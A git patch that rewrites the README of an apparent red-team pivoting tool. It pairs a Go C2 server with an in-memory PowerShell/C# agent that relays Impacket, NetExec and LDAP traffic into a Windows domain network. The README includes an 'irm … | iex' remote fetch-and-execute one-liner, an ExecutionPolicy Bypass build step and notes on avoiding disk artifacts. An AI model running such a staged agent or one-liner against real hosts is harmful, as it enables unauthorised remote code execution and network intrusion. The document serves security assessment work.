From 0eb3653b3dd387aac5ec2fe7726d2fc304affc42 Mon Sep 17 00:00:00 2001 From: Harrison-Wells-Cyber Date: Wed, 22 Jul 2026 10:03:23 -0700 Subject: [PATCH] Revise README for implementation details and build steps Updated README to reflect current implementation status and build instructions for Go server and PowerShell agent. --- README.md | 139 ++++++++++++++++++++++++++++++++++++------------------ 1 file changed, 94 insertions(+), 45 deletions(-) diff --git a/README.md b/README.md index ccbbcc9..9fbbde0 100644 --- a/README.md +++ b/README.md @@ -6,16 +6,15 @@ operation for TCP-heavy AD tooling such as Impacket, NetExec, RustHound, `ldapsearch`, and TCP-connect `nmap`, without proxychains and without requiring administrator privileges on the Windows agent host. -> Current repository status: this tree is the new implementation foundation. It -> replaces the previous Python/SOCKS/TUN prototype with a Go server skeleton, -> one-time enrollment staging, and a diskless PowerShell/C# agent packaging -> model. The full TUN/netstack data plane is the next implementation milestone. +> Current implementation status: the repo now has a working encrypted enrollment +> flow, a framed multiplexed TCP stream protocol, a diskless PowerShell/C# agent +> packaging flow, and a developer TCP relay for end-to-end protocol testing. The +> full production TUN/netstack data plane is still the next major milestone. ## Design decisions - **Server:** Go, intended to run as root on Linux. -- **Data plane:** true TUN/netstack design, not proxychains and not a Python - hand-written TCP shim. +- **Data plane:** Linux transparent TCP redirect mode is implemented now for test-environment use: local tools connect directly to routed target IPs, iptables redirects matching TCP connections to the server, and the server relays the original destination through the enrolled agent. A true TUN/netstack backend remains the long-term production direction. - **Agent:** Windows PowerShell 5.1 loader with a precompiled C# core embedded into a single `.ps1`. - **Agent delivery:** one command, one file, no separate DLL transfer: @@ -24,9 +23,9 @@ administrator privileges on the Windows agent host. - **Enrollment:** the server creates a short-lived one-time staging URL. The generated agent script contains an enrollment token rather than a long-term PSK. -- **TLS:** server certificate pinning remains mandatory for the agent. The - loader and C# core are designed so the agent refuses to enroll unless the - presented server certificate matches the pinned SHA-256 DER hash. +- **TLS:** server certificate pinning is mandatory for the agent. The C# core + refuses to continue unless the presented server certificate matches the pinned + SHA-256 DER hash. - **Disk behavior:** release agents do not use `Add-Type`, do not invoke `csc.exe` on the target, and do not intentionally write the managed agent DLL to disk. The embedded DLL is loaded with @@ -36,6 +35,7 @@ administrator privileges on the Windows agent host. ```text cmd/psproxy-server/ Go server entrypoint +internal/protocol/ framed tunnel protocol helpers and tests internal/staging/ one-time agent staging/enrollment helpers agent/PSProxy.Agent/ PowerShell 5.1-compatible C# agent core source agent/loader/agent.ps1.tmpl single-file PowerShell loader template @@ -49,41 +49,62 @@ agent location. Packaged releases should replace `release/agent.ps1` with a ready-to-run generated file so an operator can download and run without doing manual packaging. -## Build the Go server +## Build the Go server on Linux + +From the repo root: ```bash -go build ./cmd/psproxy-server +go test ./... +go build -o psproxy-server ./cmd/psproxy-server ``` -## Build the single-file PowerShell agent +The build produces `./psproxy-server`. -The first target is Windows PowerShell 5.1, so the release agent is built on a -Windows machine using the .NET Framework C# compiler: +## Build the single-file PowerShell 5.1 release agent + +The first supported target is Windows PowerShell 5.1, so build the release agent +on a Windows machine with the .NET Framework compiler available. + +Open Windows PowerShell from the repo root and run: ```powershell -powershell -ExecutionPolicy Bypass -File tools/build-agent.ps1 +powershell -ExecutionPolicy Bypass -File tools\build-agent.ps1 ``` -That command compiles `agent/PSProxy.Agent/PSProxy.Agent.cs`, compresses the DLL, -base64-embeds it into `agent/loader/agent.ps1.tmpl`, and writes -`release/agent.ps1`. +That script: + +1. Compiles `agent\PSProxy.Agent\PSProxy.Agent.cs` with the .NET Framework C# + compiler. +2. Compresses the compiled `PSProxy.Agent.dll`. +3. Base64-embeds the compressed DLL into `agent\loader\agent.ps1.tmpl`. +4. Writes the single-file release loader to `release\agent.ps1`. +5. Writes `release\agent_assembly.b64`, which the Go server uses by default to render one-time staged agents. The Windows target still receives only one PowerShell script. The build step is -for the release maintainer, not the operator running the agent. +for the release maintainer, not the operator running the agent. Keep +`release\agent_assembly.b64` next to the server working directory, or pass it +explicitly with `--agent-assembly-b64-file`. -## Operator flow goal +## Start the server with transparent TCP routing -Start the server on the Ubuntu/VPS side: +Use a real certificate whose leaf DER hash will be pinned by the agent. On the +Linux server, run as root so PS-Proxy can install and remove iptables NAT rules: ```bash sudo ./psproxy-server \ --domain c2.example.com \ --cert /etc/letsencrypt/live/c2.example.com/fullchain.pem \ --key /etc/letsencrypt/live/c2.example.com/privkey.pem \ - --tun psproxy0 \ - --route 10.10.10.0/24 + --route 10.10.10.0/24 \ + --redirect ``` +With `--redirect`, PS-Proxy creates an iptables NAT chain for each `--route` and +redirects matching local TCP connects into a loopback listener. The server reads +the original destination with `SO_ORIGINAL_DST`, sends that host:port through the +encrypted tunnel, and the Windows agent opens the target with a normal outbound +`TcpClient` from its network position. + The server prints a one-time command: ```powershell @@ -91,45 +112,73 @@ irm https://c2.example.com/a/ | iex ``` The generated script auto-starts, loads the embedded C# core in memory, validates -the pinned server certificate, and enrolls with the one-time token. Long-term -static PSKs are intentionally avoided in the new design. +the pinned server certificate, enrolls with the one-time token, and switches to +the framed tunnel protocol. -## Current implementation status +## Optional fixed-target developer TCP relay -Implemented now: +For controlled protocol testing without iptables redirects, use the fixed-target +TCP relay. Example: -- Go server build skeleton. -- TLS listener using operator-supplied certificate and key. -- Leaf certificate pin calculation for the generated agent configuration. -- Short-lived one-time staging URLs. -- One-time enrollment token validation endpoint. -- PowerShell loader template that loads a compressed/base64 managed assembly from - memory. -- Windows build script to package the C# core into `release/agent.ps1`. -- C# agent core scaffold with certificate pin validation and enrollment request. +```bash +sudo ./psproxy-server \ + --domain c2.example.com \ + --cert /etc/letsencrypt/live/c2.example.com/fullchain.pem \ + --key /etc/letsencrypt/live/c2.example.com/privkey.pem \ + --route 10.10.10.0/24 \ + --tcp-listen 127.0.0.1:1389 \ + --tcp-target 10.10.10.219:389 +``` -Next milestone: +Then run the printed one-liner on the Windows host. After the agent connects, +test from the Linux server: -- Replace the scaffold enrollment-only path with the full multiplexed tunnel - protocol. -- Add the Go TUN/netstack data plane. -- Add route setup/cleanup and `doctor` checks. -- Add integration tests for LDAP/RustHound-scale long-running TCP streams. +```bash +nc -vz 127.0.0.1 1389 +ldapsearch -x -H ldap://127.0.0.1:1389 -D 'user@example.local' -W -b 'DC=example,DC=local' '(objectClass=domain)' +``` + +Transparent redirect mode is the recommended test-environment workflow right now. +The fixed-target relay remains useful when you want a single local port mapped to +a single target for debugging. ## Security notes - Use HTTPS staging. Plain HTTP `irm | iex` is mechanically possible, but it is not acceptable for sensitive environments because staging tampering means code execution on the Windows host. -- The agent's tunnel connection must pin the server certificate. Certificate pin - mismatch is fatal. -- Enrollment URLs should be short-lived and one-time use. +- The agent pins the server certificate before enrollment or tunnel traffic. + Certificate pin mismatch is fatal. +- Enrollment URLs are short-lived and one-time use. - The enrollment token is placed in the HTTPS response body, not in the URL. - Do not log generated agent bodies or enrollment tokens. - The loader avoids intentional target-side file writes for the managed payload, but host telemetry, PowerShell logging, AMSI, EDR, crash dumps, or pagefile behavior are outside the loader's control. +## Current implementation status + +Implemented now: + +- Go TLS listener with mixed HTTP staging and raw agent tunnel handling. +- Leaf certificate pin calculation for generated agent configuration. +- Short-lived one-time staging URLs. +- One-time enrollment token validation for the raw tunnel. +- Framed multiplexed stream protocol. +- Linux transparent TCP redirect mode for direct local-tool TCP connections to routed target IPs. +- Fixed-target TCP relay mode for protocol validation. +- C# agent stream relay that opens normal outbound `TcpClient` connections from + the Windows host. +- PowerShell loader template that loads a compressed/base64 managed assembly from + memory. +- Windows build script to package the C# core into `release/agent.ps1`. + +Next milestone: + +- Replace the Linux transparent redirect backend with a true production Go TUN/netstack data plane. +- Add route setup/cleanup and `doctor` checks. +- Add integration tests for LDAP/RustHound-scale long-running TCP streams. + ## Testing direction Before this project should be trusted for real assessments, it needs a lab test